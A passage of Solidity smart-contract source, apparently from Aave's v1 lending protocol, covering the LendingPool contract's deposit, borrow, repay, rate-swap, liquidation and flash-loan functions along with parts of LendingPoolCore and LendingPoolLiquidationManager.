* Also updates the lastUpdateTimestamp value. Please refer to the whitepaper for further information.
* @param _reserve the address of the reserve to be updated
* @param _liquidityAdded the amount of liquidity added to the protocol (deposit or repay) in the previous action
* @param _liquidityTaken the amount of liquidity taken from the protocol (redeem or borrow)
**/
function updateReserveInterestRatesAndTimestampInternal(
address _reserve,
uint256 _liquidityAdded,
uint256 _liquidityTaken
) internal {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
(uint256 newLiquidityRate, uint256 newStableRate, uint256 newVariableRate) = IReserveInterestRateStrategy(
reserve
.interestRateStrategyAddress
)
.calculateInterestRates(
_reserve,
getReserveAvailableLiquidity(_reserve).add(_liquidityAdded).sub(_liquidityTaken),
reserve.totalBorrowsStable,
reserve.totalBorrowsVariable,
reserve.currentAverageStableBorrowRate
);
reserve.currentLiquidityRate = newLiquidityRate;
reserve.currentStableBorrowRate = newStableRate;
reserve.currentVariableBorrowRate = newVariableRate;
//solium-disable-next-line
reserve.lastUpdateTimestamp = uint40(block.timestamp);
emit ReserveUpdated(
_reserve,
newLiquidityRate,
newStableRate,
newVariableRate,
reserve.lastLiquidityCumulativeIndex,
reserve.lastVariableBorrowCumulativeIndex
);
}
/**
* @dev transfers to the protocol fees of a flashloan to the fees collection address
* @param _token the address of the token being transferred
* @param _amount the amount being transferred
**/
function transferFlashLoanProtocolFeeInternal(address _token, uint256 _amount) internal {
address payable receiver = address(uint160(addressesProvider.getTokenDistributor()));
if (_token != EthAddressLib.ethAddress()) {
ERC20(_token).safeTransfer(receiver, _amount);
} else {
receiver.transfer(_amount);
}
}
/**
* @dev updates the internal configuration of the core
**/
function refreshConfigInternal() internal {
lendingPoolAddress = addressesProvider.getLendingPool();
}
/**
* @dev adds a reserve to the array of the reserves address
**/
function addReserveToListInternal(address _reserve) internal {
bool reserveAlreadyAdded = false;
for (uint256 i = 0; i < reservesList.length; i++)
if (reservesList[i] == _reserve) {
reserveAlreadyAdded = true;
}
if (!reserveAlreadyAdded) reservesList.push(_reserve);
}
}
/**
* @title LendingPool contract
* @notice Implements the actions of the LendingPool, and exposes accessory methods to fetch the users and reserve data
* @author Aave
**/
contract LendingPool is ReentrancyGuard, VersionedInitializable {
using SafeMath for uint256;
using WadRayMath for uint256;
using Address for address;
LendingPoolAddressesProvider public addressesProvider;
LendingPoolCore public core;
LendingPoolDataProvider public dataProvider;
LendingPoolParametersProvider public parametersProvider;
IFeeProvider feeProvider;
/**
* @dev emitted on deposit
* @param _reserve the address of the reserve
* @param _user the address of the user
* @param _amount the amount to be deposited
* @param _referral the referral number of the action
* @param _timestamp the timestamp of the action
**/
event Deposit(
address indexed _reserve,
address indexed _user,
uint256 _amount,
uint16 indexed _referral,
uint256 _timestamp
);
/**
* @dev emitted during a redeem action.
* @param _reserve the address of the reserve
* @param _user the address of the user
* @param _amount the amount to be deposited
* @param _timestamp the timestamp of the action
**/
event RedeemUnderlying(
address indexed _reserve,
address indexed _user,
uint256 _amount,
uint256 _timestamp
);
/**
* @dev emitted on borrow
* @param _reserve the address of the reserve
* @param _user the address of the user
* @param _amount the amount to be deposited
* @param _borrowRateMode the rate mode, can be either 1-stable or 2-variable
* @param _borrowRate the rate at which the user has borrowed
* @param _originationFee the origination fee to be paid by the user
* @param _borrowBalanceIncrease the balance increase since the last borrow, 0 if it's the first time borrowing
* @param _referral the referral number of the action
* @param _timestamp the timestamp of the action
**/
event Borrow(
address indexed _reserve,
address indexed _user,
uint256 _amount,
uint256 _borrowRateMode,
uint256 _borrowRate,
uint256 _originationFee,
uint256 _borrowBalanceIncrease,
uint16 indexed _referral,
uint256 _timestamp
);
/**
* @dev emitted on repay
* @param _reserve the address of the reserve
* @param _user the address of the user for which the repay has been executed
* @param _repayer the address of the user that has performed the repay action
* @param _amountMinusFees the amount repaid minus fees
* @param _fees the fees repaid
* @param _borrowBalanceIncrease the balance increase since the last action
* @param _timestamp the timestamp of the action
**/
event Repay(
address indexed _reserve,
address indexed _user,
address indexed _repayer,
uint256 _amountMinusFees,
uint256 _fees,
uint256 _borrowBalanceIncrease,
uint256 _timestamp
);
/**
* @dev emitted when a user performs a rate swap
* @param _reserve the address of the reserve
* @param _user the address of the user executing the swap
* @param _newRateMode the new interest rate mode
* @param _newRate the new borrow rate
* @param _borrowBalanceIncrease the balance increase since the last action
* @param _timestamp the timestamp of the action
**/
event Swap(
address indexed _reserve,
address indexed _user,
uint256 _newRateMode,
uint256 _newRate,
uint256 _borrowBalanceIncrease,
uint256 _timestamp
);
/**
* @dev emitted when a user enables a reserve as collateral
* @param _reserve the address of the reserve
* @param _user the address of the user
**/
event ReserveUsedAsCollateralEnabled(address indexed _reserve, address indexed _user);
/**
* @dev emitted when a user disables a reserve as collateral
* @param _reserve the address of the reserve
* @param _user the address of the user
**/
event ReserveUsedAsCollateralDisabled(address indexed _reserve, address indexed _user);
/**
* @dev emitted when the stable rate of a user gets rebalanced
* @param _reserve the address of the reserve
* @param _user the address of the user for which the rebalance has been executed
* @param _newStableRate the new stable borrow rate after the rebalance
* @param _borrowBalanceIncrease the balance increase since the last action
* @param _timestamp the timestamp of the action
**/
event RebalanceStableBorrowRate(
address indexed _reserve,
address indexed _user,
uint256 _newStableRate,
uint256 _borrowBalanceIncrease,
uint256 _timestamp
);
/**
* @dev emitted when a flashloan is executed
* @param _target the address of the flashLoanReceiver
* @param _reserve the address of the reserve
* @param _amount the amount requested
* @param _totalFee the total fee on the amount
* @param _protocolFee the part of the fee for the protocol
* @param _timestamp the timestamp of the action
**/
event FlashLoan(
address indexed _target,
address indexed _reserve,
uint256 _amount,
uint256 _totalFee,
uint256 _protocolFee,
uint256 _timestamp
);
/**
* @dev these events are not emitted directly by the LendingPool
* but they are declared here as the LendingPoolLiquidationManager
* is executed using a delegateCall().
* This allows to have the events in the generated ABI for LendingPool.
**/
/**
* @dev emitted when a borrow fee is liquidated
* @param _collateral the address of the collateral being liquidated
* @param _reserve the address of the reserve
* @param _user the address of the user being liquidated
* @param _feeLiquidated the total fee liquidated
* @param _liquidatedCollateralForFee the amount of collateral received by the protocol in exchange for the fee
* @param _timestamp the timestamp of the action
**/
event OriginationFeeLiquidated(
address indexed _collateral,
address indexed _reserve,
address indexed _user,
uint256 _feeLiquidated,
uint256 _liquidatedCollateralForFee,
uint256 _timestamp
);
/**
* @dev emitted when a borrower is liquidated
* @param _collateral the address of the collateral being liquidated
* @param _reserve the address of the reserve
* @param _user the address of the user being liquidated
* @param _purchaseAmount the total amount liquidated
* @param _liquidatedCollateralAmount the amount of collateral being liquidated
* @param _accruedBorrowInterest the amount of interest accrued by the borrower since the last action
* @param _liquidator the address of the liquidator
* @param _receiveAToken true if the liquidator wants to receive aTokens, false otherwise
* @param _timestamp the timestamp of the action
**/
event LiquidationCall(
address indexed _collateral,
address indexed _reserve,
address indexed _user,
uint256 _purchaseAmount,
uint256 _liquidatedCollateralAmount,
uint256 _accruedBorrowInterest,
address _liquidator,
bool _receiveAToken,
uint256 _timestamp
);
/**
* @dev functions affected by this modifier can only be invoked by the
* aToken.sol contract
* @param _reserve the address of the reserve
**/
modifier onlyOverlyingAToken(address _reserve) {
require(
msg.sender == core.getReserveATokenAddress(_reserve),
"The caller of this function can only be the aToken contract of this reserve"
);
_;
}
/**
* @dev functions affected by this modifier can only be invoked if the reserve is active
* @param _reserve the address of the reserve
**/
modifier onlyActiveReserve(address _reserve) {
requireReserveActiveInternal(_reserve);
_;
}
/**
* @dev functions affected by this modifier can only be invoked if the reserve is not freezed.
* A freezed reserve only allows redeems, repays, rebalances and liquidations.
* @param _reserve the address of the reserve
**/
modifier onlyUnfreezedReserve(address _reserve) {
requireReserveNotFreezedInternal(_reserve);
_;
}
/**
* @dev functions affected by this modifier can only be invoked if the provided _amount input parameter
* is not zero.
* @param _amount the amount provided
**/
modifier onlyAmountGreaterThanZero(uint256 _amount) {
requireAmountGreaterThanZeroInternal(_amount);
_;
}
uint256 public constant UINT_MAX_VALUE = uint256(-1);
uint256 public constant LENDINGPOOL_REVISION = 0x2;
function getRevision() internal pure returns (uint256) {
return LENDINGPOOL_REVISION;
}
/**
* @dev this function is invoked by the proxy contract when the LendingPool contract is added to the
* AddressesProvider.
* @param _addressesProvider the address of the LendingPoolAddressesProvider registry
**/
function initialize(LendingPoolAddressesProvider _addressesProvider) public initializer {
addressesProvider = _addressesProvider;
core = LendingPoolCore(addressesProvider.getLendingPoolCore());
dataProvider = LendingPoolDataProvider(addressesProvider.getLendingPoolDataProvider());
parametersProvider = LendingPoolParametersProvider(
addressesProvider.getLendingPoolParametersProvider()
);
feeProvider = IFeeProvider(addressesProvider.getFeeProvider());
}
/**
* @dev deposits The underlying asset into the reserve. A corresponding amount of the overlying asset (aTokens)
* is minted.
* @param _reserve the address of the reserve
* @param _amount the amount to be deposited
* @param _referralCode integrators are assigned a referral code and can potentially receive rewards.
**/
function deposit(address _reserve, uint256 _amount, uint16 _referralCode)
external
payable
nonReentrant
onlyActiveReserve(_reserve)
onlyUnfreezedReserve(_reserve)
onlyAmountGreaterThanZero(_amount)
{
AToken aToken = AToken(core.getReserveATokenAddress(_reserve));
bool isFirstDeposit = aToken.balanceOf(msg.sender) == 0;
core.updateStateOnDeposit(_reserve, msg.sender, _amount, isFirstDeposit);
//minting AToken to user 1:1 with the specific exchange rate
aToken.mintOnDeposit(msg.sender, _amount);
//transfer to the core contract
core.transferToReserve.value(msg.value)(_reserve, msg.sender, _amount);
//solium-disable-next-line
emit Deposit(_reserve, msg.sender, _amount, _referralCode, block.timestamp);
}
/**
* @dev Redeems the underlying amount of assets requested by _user.
* This function is executed by the overlying aToken contract in response to a redeem action.
* @param _reserve the address of the reserve
* @param _user the address of the user performing the action
* @param _amount the underlying amount to be redeemed
**/
function redeemUnderlying(
address _reserve,
address payable _user,
uint256 _amount,
uint256 _aTokenBalanceAfterRedeem
)
external
nonReentrant
onlyOverlyingAToken(_reserve)
onlyActiveReserve(_reserve)
onlyAmountGreaterThanZero(_amount)
{
uint256 currentAvailableLiquidity = core.getReserveAvailableLiquidity(_reserve);
require(
currentAvailableLiquidity >= _amount,
"There is not enough liquidity available to redeem"
);
core.updateStateOnRedeem(_reserve, _user, _amount, _aTokenBalanceAfterRedeem == 0);
core.transferToUser(_reserve, _user, _amount);
//solium-disable-next-line
emit RedeemUnderlying(_reserve, _user, _amount, block.timestamp);
}
/**
* @dev data structures for local computations in the borrow() method.
*/
struct BorrowLocalVars {
uint256 principalBorrowBalance;
uint256 currentLtv;
uint256 currentLiquidationThreshold;
uint256 borrowFee;
uint256 requestedBorrowAmountETH;
uint256 amountOfCollateralNeededETH;
uint256 userCollateralBalanceETH;
uint256 userBorrowBalanceETH;
uint256 userTotalFeesETH;
uint256 borrowBalanceIncrease;
uint256 currentReserveStableRate;
uint256 availableLiquidity;
uint256 reserveDecimals;
uint256 finalUserBorrowRate;
CoreLibrary.InterestRateMode rateMode;
bool healthFactorBelowThreshold;
}
/**
* @dev Allows users to borrow a specific amount of the reserve currency, provided that the borrower
* already deposited enough collateral.
* @param _reserve the address of the reserve
* @param _amount the amount to be borrowed
* @param _interestRateMode the interest rate mode at which the user wants to borrow. Can be 0 (STABLE) or 1 (VARIABLE)
**/
function borrow(
address _reserve,
uint256 _amount,
uint256 _interestRateMode,
uint16 _referralCode
)
external
nonReentrant
onlyActiveReserve(_reserve)
onlyUnfreezedReserve(_reserve)
onlyAmountGreaterThanZero(_amount)
{
// Usage of a memory struct of vars to avoid "Stack too deep" errors due to local variables
BorrowLocalVars memory vars;
//check that the reserve is enabled for borrowing
require(core.isReserveBorrowingEnabled(_reserve), "Reserve is not enabled for borrowing");
//validate interest rate mode
require(
uint256(CoreLibrary.InterestRateMode.VARIABLE) == _interestRateMode ||
uint256(CoreLibrary.InterestRateMode.STABLE) == _interestRateMode,
"Invalid interest rate mode selected"
);
//cast the rateMode to coreLibrary.interestRateMode
vars.rateMode = CoreLibrary.InterestRateMode(_interestRateMode);
//check that the amount is available in the reserve
vars.availableLiquidity = core.getReserveAvailableLiquidity(_reserve);
require(
vars.availableLiquidity >= _amount,
"There is not enough liquidity available in the reserve"
);
(
,
vars.userCollateralBalanceETH,
vars.userBorrowBalanceETH,
vars.userTotalFeesETH,
vars.currentLtv,
vars.currentLiquidationThreshold,
,
vars.healthFactorBelowThreshold
) = dataProvider.calculateUserGlobalData(msg.sender);
require(vars.userCollateralBalanceETH > 0, "The collateral balance is 0");
require(
!vars.healthFactorBelowThreshold,
"The borrower can already be liquidated so he cannot borrow more"
);
//calculating fees
vars.borrowFee = feeProvider.calculateLoanOriginationFee(msg.sender, _amount);
require(vars.borrowFee > 0, "The amount to borrow is too small");
vars.amountOfCollateralNeededETH = dataProvider.calculateCollateralNeededInETH(
_reserve,
_amount,
vars.borrowFee,
vars.userBorrowBalanceETH,
vars.userTotalFeesETH,
vars.currentLtv
);
require(
vars.amountOfCollateralNeededETH <= vars.userCollateralBalanceETH,
"There is not enough collateral to cover a new borrow"
);
/**
* Following conditions need to be met if the user is borrowing at a stable rate:
* 1. Reserve must be enabled for stable rate borrowing
* 2. Users cannot borrow from the reserve if their collateral is (mostly) the same currency
* they are borrowing, to prevent abuses.
* 3. Users will be able to borrow only a relatively small, configurable amount of the total
* liquidity
**/
if (vars.rateMode == CoreLibrary.InterestRateMode.STABLE) {
//check if the borrow mode is stable and if stable rate borrowing is enabled on this reserve
require(
core.isUserAllowedToBorrowAtStable(_reserve, msg.sender, _amount),
"User cannot borrow the selected amount with a stable rate"
);
//calculate the max available loan size in stable rate mode as a percentage of the
//available liquidity
uint256 maxLoanPercent = parametersProvider.getMaxStableRateBorrowSizePercent();
uint256 maxLoanSizeStable = vars.availableLiquidity.mul(maxLoanPercent).div(100);
require(
_amount <= maxLoanSizeStable,
"User is trying to borrow too much liquidity at a stable rate"
);
}
//all conditions passed - borrow is accepted
(vars.finalUserBorrowRate, vars.borrowBalanceIncrease) = core.updateStateOnBorrow(
_reserve,
msg.sender,
_amount,
vars.borrowFee,
vars.rateMode
);
//if we reached this point, we can transfer
core.transferToUser(_reserve, msg.sender, _amount);
emit Borrow(
_reserve,
msg.sender,
_amount,
_interestRateMode,
vars.finalUserBorrowRate,
vars.borrowFee,
vars.borrowBalanceIncrease,
_referralCode,
//solium-disable-next-line
block.timestamp
);
}
/**
* @notice repays a borrow on the specific reserve, for the specified amount (or for the whole amount, if uint256(-1) is specified).
* @dev the target user is defined by _onBehalfOf. If there is no repayment on behalf of another account,
* _onBehalfOf must be equal to msg.sender.
* @param _reserve the address of the reserve on which the user borrowed
* @param _amount the amount to repay, or uint256(-1) if the user wants to repay everything
* @param _onBehalfOf the address for which msg.sender is repaying.
**/
struct RepayLocalVars {
uint256 principalBorrowBalance;
uint256 compoundedBorrowBalance;
uint256 borrowBalanceIncrease;
bool isETH;
uint256 paybackAmount;
uint256 paybackAmountMinusFees;
uint256 currentStableRate;
uint256 originationFee;
}
function repay(address _reserve, uint256 _amount, address payable _onBehalfOf)
external
payable
nonReentrant
onlyActiveReserve(_reserve)
onlyAmountGreaterThanZero(_amount)
{
// Usage of a memory struct of vars to avoid "Stack too deep" errors due to local variables
RepayLocalVars memory vars;
(
vars.principalBorrowBalance,
vars.compoundedBorrowBalance,
vars.borrowBalanceIncrease
) = core.getUserBorrowBalances(_reserve, _onBehalfOf);
vars.originationFee = core.getUserOriginationFee(_reserve, _onBehalfOf);
vars.isETH = EthAddressLib.ethAddress() == _reserve;
require(vars.compoundedBorrowBalance > 0, "The user does not have any borrow pending");
require(
_amount != UINT_MAX_VALUE || msg.sender == _onBehalfOf,
"To repay on behalf of an user an explicit amount to repay is needed."
);
//default to max amount
vars.paybackAmount = vars.compoundedBorrowBalance.add(vars.originationFee);
if (_amount != UINT_MAX_VALUE && _amount < vars.paybackAmount) {
vars.paybackAmount = _amount;
}
require(
!vars.isETH || msg.value >= vars.paybackAmount,
"Invalid msg.value sent for the repayment"
);
//if the amount is smaller than the origination fee, just transfer the amount to the fee destination address
if (vars.paybackAmount <= vars.originationFee) {
core.updateStateOnRepay(
_reserve,
_onBehalfOf,
0,
vars.paybackAmount,
vars.borrowBalanceIncrease,
false
);
core.transferToFeeCollectionAddress.value(vars.isETH ? vars.paybackAmount : 0)(
_reserve,
_onBehalfOf,
vars.paybackAmount,
addressesProvider.getTokenDistributor()
);
emit Repay(
_reserve,
_onBehalfOf,
msg.sender,
0,
vars.paybackAmount,
vars.borrowBalanceIncrease,
//solium-disable-next-line
block.timestamp
);
return;
}
vars.paybackAmountMinusFees = vars.paybackAmount.sub(vars.originationFee);
core.updateStateOnRepay(
_reserve,
_onBehalfOf,
vars.paybackAmountMinusFees,
vars.originationFee,
vars.borrowBalanceIncrease,
vars.compoundedBorrowBalance == vars.paybackAmountMinusFees
);
//if the user didn't repay the origination fee, transfer the fee to the fee collection address
if(vars.originationFee > 0) {
core.transferToFeeCollectionAddress.value(vars.isETH ? vars.originationFee : 0)(
_reserve,
_onBehalfOf,
vars.originationFee,
addressesProvider.getTokenDistributor()
);
}
//sending the total msg.value if the transfer is ETH.
//the transferToReserve() function will take care of sending the
//excess ETH back to the caller
core.transferToReserve.value(vars.isETH ? msg.value.sub(vars.originationFee) : 0)(
_reserve,
msg.sender,
vars.paybackAmountMinusFees
);
emit Repay(
_reserve,
_onBehalfOf,
msg.sender,
vars.paybackAmountMinusFees,
vars.originationFee,
vars.borrowBalanceIncrease,
//solium-disable-next-line
block.timestamp
);
}
/**
* @dev borrowers can user this function to swap between stable and variable borrow rate modes.
* @param _reserve the address of the reserve on which the user borrowed
**/
function swapBorrowRateMode(address _reserve)
external
nonReentrant
onlyActiveReserve(_reserve)
onlyUnfreezedReserve(_reserve)
{
(uint256 principalBorrowBalance, uint256 compoundedBorrowBalance, uint256 borrowBalanceIncrease) = core
.getUserBorrowBalances(_reserve, msg.sender);
require(
compoundedBorrowBalance > 0,
"User does not have a borrow in progress on this reserve"
);
CoreLibrary.InterestRateMode currentRateMode = core.getUserCurrentBorrowRateMode(
_reserve,
msg.sender
);
if (currentRateMode == CoreLibrary.InterestRateMode.VARIABLE) {
/**
* user wants to swap to stable, before swapping we need to ensure that
* 1. stable borrow rate is enabled on the reserve
* 2. user is not trying to abuse the reserve by depositing
* more collateral than he is borrowing, artificially lowering
* the interest rate, borrowing at variable, and switching to stable
**/
require(
core.isUserAllowedToBorrowAtStable(_reserve, msg.sender, compoundedBorrowBalance),
"User cannot borrow the selected amount at stable"
);
}
(CoreLibrary.InterestRateMode newRateMode, uint256 newBorrowRate) = core
.updateStateOnSwapRate(
_reserve,
msg.sender,
principalBorrowBalance,
compoundedBorrowBalance,
borrowBalanceIncrease,
currentRateMode
);
emit Swap(
_reserve,
msg.sender,
uint256(newRateMode),
newBorrowRate,
borrowBalanceIncrease,
//solium-disable-next-line
block.timestamp
);
}
/**
* @dev rebalances the stable interest rate of a user if current liquidity rate > user stable rate.
* this is regulated by Aave to ensure that the protocol is not abused, and the user is paying a fair
* rate. Anyone can call this function though.
* @param _reserve the address of the reserve
* @param _user the address of the user to be rebalanced
**/
function rebalanceStableBorrowRate(address _reserve, address _user)
external
nonReentrant
onlyActiveReserve(_reserve)
{
(, uint256 compoundedBalance, uint256 borrowBalanceIncrease) = core.getUserBorrowBalances(
_reserve,
_user
);
//step 1: user must be borrowing on _reserve at a stable rate
require(compoundedBalance > 0, "User does not have any borrow for this reserve");
require(
core.getUserCurrentBorrowRateMode(_reserve, _user) ==
CoreLibrary.InterestRateMode.STABLE,
"The user borrow is variable and cannot be rebalanced"
);
uint256 userCurrentStableRate = core.getUserCurrentStableBorrowRate(_reserve, _user);
uint256 liquidityRate = core.getReserveCurrentLiquidityRate(_reserve);
uint256 reserveCurrentStableRate = core.getReserveCurrentStableBorrowRate(_reserve);
uint256 rebalanceDownRateThreshold = reserveCurrentStableRate.rayMul(
WadRayMath.ray().add(parametersProvider.getRebalanceDownRateDelta())
);
//step 2: we have two possible situations to rebalance:
//1. user stable borrow rate is below the current liquidity rate. The loan needs to be rebalanced,
//as this situation can be abused (user putting back the borrowed liquidity in the same reserve to earn on it)
//2. user stable rate is above the market avg borrow rate of a certain delta, and utilization rate is low.
//In this case, the user is paying an interest that is too high, and needs to be rescaled down.
if (
userCurrentStableRate < liquidityRate ||
userCurrentStableRate > rebalanceDownRateThreshold
) {
uint256 newStableRate = core.updateStateOnRebalance(
_reserve,
_user,
borrowBalanceIncrease
);
emit RebalanceStableBorrowRate(
_reserve,
_user,
newStableRate,
borrowBalanceIncrease,
//solium-disable-next-line
block.timestamp
);
return;
}
revert("Interest rate rebalance conditions were not met");
}
/**
* @dev allows depositors to enable or disable a specific deposit as collateral.
* @param _reserve the address of the reserve
* @param _useAsCollateral true if the user wants to user the deposit as collateral, false otherwise.
**/
function setUserUseReserveAsCollateral(address _reserve, bool _useAsCollateral)
external
nonReentrant
onlyActiveReserve(_reserve)
onlyUnfreezedReserve(_reserve)
{
uint256 underlyingBalance = core.getUserUnderlyingAssetBalance(_reserve, msg.sender);
require(underlyingBalance > 0, "User does not have any liquidity deposited");
require(
dataProvider.balanceDecreaseAllowed(_reserve, msg.sender, underlyingBalance),
"User deposit is already being used as collateral"
);
core.setUserUseReserveAsCollateral(_reserve, msg.sender, _useAsCollateral);
if (_useAsCollateral) {
emit ReserveUsedAsCollateralEnabled(_reserve, msg.sender);
} else {
emit ReserveUsedAsCollateralDisabled(_reserve, msg.sender);
}
}
/**
* @dev users can invoke this function to liquidate an undercollateralized position.
* @param _reserve the address of the collateral to liquidated
* @param _reserve the address of the principal reserve
* @param _user the address of the borrower
* @param _purchaseAmount the amount of principal that the liquidator wants to repay
* @param _receiveAToken true if the liquidators wants to receive the aTokens, false if
* he wants to receive the underlying asset directly
**/
function liquidationCall(
address _collateral,
address _reserve,
address _user,
uint256 _purchaseAmount,
bool _receiveAToken
) external payable nonReentrant onlyActiveReserve(_reserve) onlyActiveReserve(_collateral) {
address liquidationManager = addressesProvider.getLendingPoolLiquidationManager();
//solium-disable-next-line
(bool success, bytes memory result) = liquidationManager.delegatecall(
abi.encodeWithSignature(
"liquidationCall(address,address,address,uint256,bool)",
_collateral,
_reserve,
_user,
_purchaseAmount,
_receiveAToken
)
);
require(success, "Liquidation call failed");
(uint256 returnCode, string memory returnMessage) = abi.decode(result, (uint256, string));
if (returnCode != 0) {
//error found
revert(string(abi.encodePacked("Liquidation failed: ", returnMessage)));
}
}
/**
* @dev allows smartcontracts to access the liquidity of the pool within one transaction,
* as long as the amount taken plus a fee is returned. NOTE There are security concerns for developers of flashloan receiver contracts
* that must be kept into consideration. For further details please visit https://developers.aave.com
* @param _receiver The address of the contract receiving the funds. The receiver should implement the IFlashLoanReceiver interface.
* @param _reserve the address of the principal reserve
* @param _amount the amount requested for this flashloan
**/
function flashLoan(address _receiver, address _reserve, uint256 _amount, bytes memory _params)
public
nonReentrant
onlyActiveReserve(_reserve)
onlyAmountGreaterThanZero(_amount)
{
//check that the reserve has enough available liquidity
//we avoid using the getAvailableLiquidity() function in LendingPoolCore to save gas
uint256 availableLiquidityBefore = _reserve == EthAddressLib.ethAddress()
? address(core).balance
: IERC20(_reserve).balanceOf(address(core));
require(
availableLiquidityBefore >= _amount,
"There is not enough liquidity available to borrow"
);
(uint256 totalFeeBips, uint256 protocolFeeBips) = parametersProvider
.getFlashLoanFeesInBips();
//calculate amount fee
uint256 amountFee = _amount.mul(totalFeeBips).div(10000);
//protocol fee is the part of the amountFee reserved for the protocol - the rest goes to depositors
uint256 protocolFee = amountFee.mul(protocolFeeBips).div(10000);
require(
amountFee > 0 && protocolFee > 0,
"The requested amount is too small for a flashLoan."
);
//get the FlashLoanReceiver instance
IFlashLoanReceiver receiver = IFlashLoanReceiver(_receiver);
address payable userPayable = address(uint160(_receiver));
//transfer funds to the receiver
core.transferToUser(_reserve, userPayable, _amount);
//execute action of the receiver
receiver.executeOperation(_reserve, _amount, amountFee, _params);
//check that the actual balance of the core contract includes the returned amount
uint256 availableLiquidityAfter = _reserve == EthAddressLib.ethAddress()
? address(core).balance
: IERC20(_reserve).balanceOf(address(core));
require(
availableLiquidityAfter == availableLiquidityBefore.add(amountFee),
"The actual balance of the protocol is inconsistent"
);
core.updateStateOnFlashLoan(
_reserve,
availableLiquidityBefore,
amountFee.sub(protocolFee),
protocolFee
);
//solium-disable-next-line
emit FlashLoan(_receiver, _reserve, _amount, amountFee, protocolFee, block.timestamp);
}
/**
* @dev accessory functions to fetch data from the core contract
**/
function getReserveConfigurationData(address _reserve)
external
view
returns (
uint256 ltv,
uint256 liquidationThreshold,
uint256 liquidationBonus,
address interestRateStrategyAddress,
bool usageAsCollateralEnabled,
bool borrowingEnabled,
bool stableBorrowRateEnabled,
bool isActive
)
{
return dataProvider.getReserveConfigurationData(_reserve);
}
function getReserveData(address _reserve)
external
view
returns (
uint256 totalLiquidity,
uint256 availableLiquidity,
uint256 totalBorrowsStable,
uint256 totalBorrowsVariable,
uint256 liquidityRate,
uint256 variableBorrowRate,
uint256 stableBorrowRate,
uint256 averageStableBorrowRate,
uint256 utilizationRate,
uint256 liquidityIndex,
uint256 variableBorrowIndex,
address aTokenAddress,
uint40 lastUpdateTimestamp
)
{
return dataProvider.getReserveData(_reserve);
}
function getUserAccountData(address _user)
external
view
returns (
uint256 totalLiquidityETH,
uint256 totalCollateralETH,
uint256 totalBorrowsETH,
uint256 totalFeesETH,
uint256 availableBorrowsETH,
uint256 currentLiquidationThreshold,
uint256 ltv,
uint256 healthFactor
)
{
return dataProvider.getUserAccountData(_user);
}
function getUserReserveData(address _reserve, address _user)
external
view
returns (
uint256 currentATokenBalance,
uint256 currentBorrowBalance,
uint256 principalBorrowBalance,
uint256 borrowRateMode,
uint256 borrowRate,
uint256 liquidityRate,
uint256 originationFee,
uint256 variableBorrowIndex,
uint256 lastUpdateTimestamp,
bool usageAsCollateralEnabled
)
{
return dataProvider.getUserReserveData(_reserve, _user);
}
function getReserves() external view returns (address[] memory) {
return core.getReserves();
}
/**
* @dev internal function to save on code size for the onlyActiveReserve modifier
**/
function requireReserveActiveInternal(address _reserve) internal view {
require(core.getReserveIsActive(_reserve), "Action requires an active reserve");
}
/**
* @notice internal function to save on code size for the onlyUnfreezedReserve modifier
**/
function requireReserveNotFreezedInternal(address _reserve) internal view {
require(!core.getReserveIsFreezed(_reserve), "Action requires an unfreezed reserve");
}
/**
* @notice internal function to save on code size for the onlyAmountGreaterThanZero modifier
**/
function requireAmountGreaterThanZeroInternal(uint256 _amount) internal pure {
require(_amount > 0, "Amount must be greater than 0");
}
}
/**
* @title LendingPoolLiquidationManager contract
* @author Aave
* @notice Implements the liquidation function.
**/
contract LendingPoolLiquidationManager is ReentrancyGuard, VersionedInitializable {
using SafeMath for uint256;
using WadRayMath for uint256;
using Address for address;
LendingPoolAddressesProvider public addressesProvider;
LendingPoolCore core;
LendingPoolDataProvider dataProvider;
LendingPoolParametersProvider parametersProvider;
IFeeProvider feeProvider;
address ethereumAddress;
uint256 constant LIQUIDATION_CLOSE_FACTOR_PERCENT = 50;
/**
* @dev emitted when a borrow fee is liquidated
* @param _collateral the address of the collateral being liquidated
* @param _reserve the address of the reserve
* @param _user the address of the user being liquidated
* @param _feeLiquidated the total fee liquidated
* @param _liquidatedCollateralForFee the amount of collateral received by the protocol in exchange for the fee
* @param _timestamp the timestamp of the action
**/
event OriginationFeeLiquidated(
address indexed _collateral,
address indexed _reserve,
address indexed _user,
uint256 _feeLiquidated,
uint256 _liquidatedCollateralForFee,
uint256 _timestamp
);
/**
* @dev emitted when a borrower is liquidated
* @param _collateral the address of the collateral being liquidated
* @param _reserve the address of the reserve
* @param _user the address of the user being liquidated
* @param _purchaseAmount the total amount liquidated
* @param _liquidatedCollateralAmount the amount of collateral being liquidated
* @param _accruedBorrowInterest the amount of interest accrued by the borrower since the last action
* @param _liquidator the address of the liquidator
* @param _receiveAToken true if the liquidator wants to receive aTokens, false otherwise
* @param _timestamp the timestamp of the action
**/
event LiquidationCall(
address indexed _collateral,
address indexed _reserve,
address indexed _user,
uint256 _purchaseAmount,
uint256 _liquidatedCollateralAmount,
uint256 _accruedBorrowInterest,
address _liquidator,
bool _receiveAToken,
uint256 _timestamp
);
enum LiquidationErrors {
NO_ERROR,
NO_COLLATERAL_AVAILABLE,
COLLATERAL_CANNOT_BE_LIQUIDATED,
CURRRENCY_NOT_BORROWED,
HEALTH_FACTOR_ABOVE_THRESHOLD,
NOT_ENOUGH_LIQUIDITY
}
struct LiquidationCallLocalVars {
uint256 userCollateralBalance;
uint256 userCompoundedBorrowBalance;
uint256 borrowBalanceIncrease;
uint256 maxPrincipalAmountToLiquidate;
uint256 actualAmountToLiquidate;
uint256 liquidationRatio;
uint256 collateralPrice;
uint256 principalCurrencyPrice;
uint256 maxAmountCollateralToLiquidate;
uint256 originationFee;
uint256 feeLiquidated;
uint256 liquidatedCollateralForFee;
CoreLibrary.InterestRateMode borrowRateMode;
uint256 userStableRate;
bool isCollateralEnabled;
bool healthFactorBelowThreshold;
}
/**
* @dev as the contract extends the VersionedInitializable contract to match the state
* of the LendingPool contract, the getRevision() function is needed.
*/
function getRevision() internal pure returns (uint256) {
return 0;
}
/**
* @dev users can invoke this function to liquidate an undercollateralized position.
* @param _reserve the address of the collateral to liquidated
* @param _reserve the address of the principal reserve
* @param _user the address of the borrower
* @param _purchaseAmount the amount of principal that the liquidator wants to repay
* @param _receiveAToken true if the liquidators wants to receive the aTokens, false if
* he wants to receive the underlying asset directly
**/
function liquidationCall(
address _collateral,
address _reserve,
address _user,
uint256 _purchaseAmount,
bool _receiveAToken
) external payable returns (uint256, string memory) {
// Usage of a memory struct of vars to avoid "Stack too deep" errors due to local variables
LiquidationCallLocalVars memory vars;
